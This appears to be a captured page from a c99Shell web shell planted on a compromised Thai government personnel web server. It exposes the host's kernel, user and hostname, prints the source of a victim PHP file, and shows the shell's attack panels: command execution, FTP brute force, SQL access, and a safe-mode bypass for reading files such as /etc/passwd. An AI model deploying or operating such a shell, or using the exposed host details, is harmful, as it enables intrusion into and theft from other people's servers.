!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk_joice2222/eperson/admin/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showdepttable.php (4.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsdepttype.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EPERSON'], $GLOBALS['DBUSER_EPERSON'], $GLOBALS['DBPASS_EPERSON']);

$oDpT = new Department($oC);
$oDp = new Department($oC);
$oDP3 = new Department($oC);
$oDP2 = new Department($oC);
$oPS = new Person($oC);
$maxdate $oDP3->MaxDate();
?>
<html>
<head>
<title>โครงสร้างเพื่อการส่งหนังสือในระบบสารบรรณ</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<table width="100%" border="0" cellspacing="0" cellpadding="1" align="center" bgcolor="#F9FCFF">
    <tr>
        <td align="left" colspan="4"  height="22" valign="top">&nbsp;<a href="#" onClick="window.close()"><font size="2" face="Microsoft Sans Serif">[ปิดหน้าต่าง]</font></a></td>
    </tr>
</table>
<table width="100%" height="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F9FCFF">
    <tr>
        <td valign="top"><br>
<label><div align="center">
<font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>โครงสร้างเพื่อการส่งหนังสือในระบบสารบรรณ&nbsp;<?  if($deptDate==$maxdate && $maxdate !='0000-00-00'){   echo "<br>วันที่ยืนยันการใช้งาน&nbsp;".abbreDate(splitDateDb2($deptDate ,'/'))." (โครงสร้างปัจจุบัน)"; }else if($deptDate=='0000-00-00'){   echo "<br>(ยังไม่ยืนยันการใช้งานโครงสร้างนี้)"; }else{ echo "<br>วันที่ยืนยันการใช้งาน&nbsp;".abbreDate(splitDateDb2($deptDate ,'/'));   } ?></b></font>
<?
$oT 
= new clsTable(array("ส่วนราชการภายใน","ประเภทของ<br>ส่วนราชการภายใน","รายละเอียด"));
$oT->bgColor="#CCCCCC";
$oT->align="center";
$oDpT->searchdeptDate2($deptDate);

$rw=0;

while (
$oDpT->GetRecord()){
    
ShowDeptM($oDpT->deptId);        
}

$oT->rowStart("","#ffffff");
$oT->addCell("");
$oT->rowEnd();

echo 
"<form name=ps method=post>";
echo 
"<input type=hidden name=method value=''>";
echo 
"<input type=hidden name=startyear value=''>";
echo 
$oT->output();
echo 
"</form>";
//////////////////////////////////////////

function ShowDeptM($deptId){
    global 
$oC;
    global 
$oT;
    global 
$Str;
    global 
$rw;

    
//include_once("../class/clsDB.php");
    
$oDp  = new Department($oC);
    
$oDpt= new Departmenttype($oC);
    
$oDp->SearchByKey($deptId);
    
$oDp->GetRecord();
    
/////////////////////////////////////////////
    
if ($oDp->deptLevel%2==0){                            
        
$bs="<b>";    
        
$be="</b>";    
    }
    
$lv =  $oDp->deptLevel+1;
    
$oDpt->SearchByKey($oDp->depttypeId);
    
$oDpt->GetRecord();
    
$dt $oDpt->depttypeName;
    
$det $oDp->deptDesc;
    
$oT->addRow(array(str_repeat("<img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif>"$oDp->deptLevel*2). $bs ."   ".$oDp->deptName."  "$be,$dt,$det));
    
$oDp->RSmenuByDeptParent($deptId);
    while (
$oDp->GetRecord()){
        
ShowDeptM($oDp->deptId);
    }
}
?>
</div></td>
    </tr>
</table>

<script>
 function poppage(){     
window.open("deptpop1.php?deptLevel="+0+"&deptParent="+0,"loaddorder","width=600,height=250,top=200,left=300,menubar=no,resizeable=yes,toolbar=no,scrollbar=yes");
 }
 function popup(deptLevel,deptParentId,startyear,endyear){     
window.open("deptpop1.php?startyear="+startyear+"&endyear="+endyear+"&deptLevel="+deptLevel+"&deptParentId="+deptParentId,"loaddorder","width=600,height=250,top=200,left=300,menubar=no,resizeable=yes,toolbar=no,scrollbar=yes");
 }
function doEditMenu(deptId){
    window.open("deptpop2.php?deptId=" + deptId,"loaddorder","width=600,height=250,top=200,left=300,menubar=no,resizeable=yes,toolbar=no,scrollbar=yes");    
}
function doDelete(f, txt,deptId){
    if (confirm('ต้องการลบส่วนราชการ  ' + txt +  ' ใช่หรือไม่') ) {
        window.location="processdept.php?method=delete&deptId=" + deptId;
    }
}
</script>
</body>
</html>
<?php
$oC
->Disconnect();
$oDpT->Close();
$oDp ->Close();
showFooter();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0155 ]--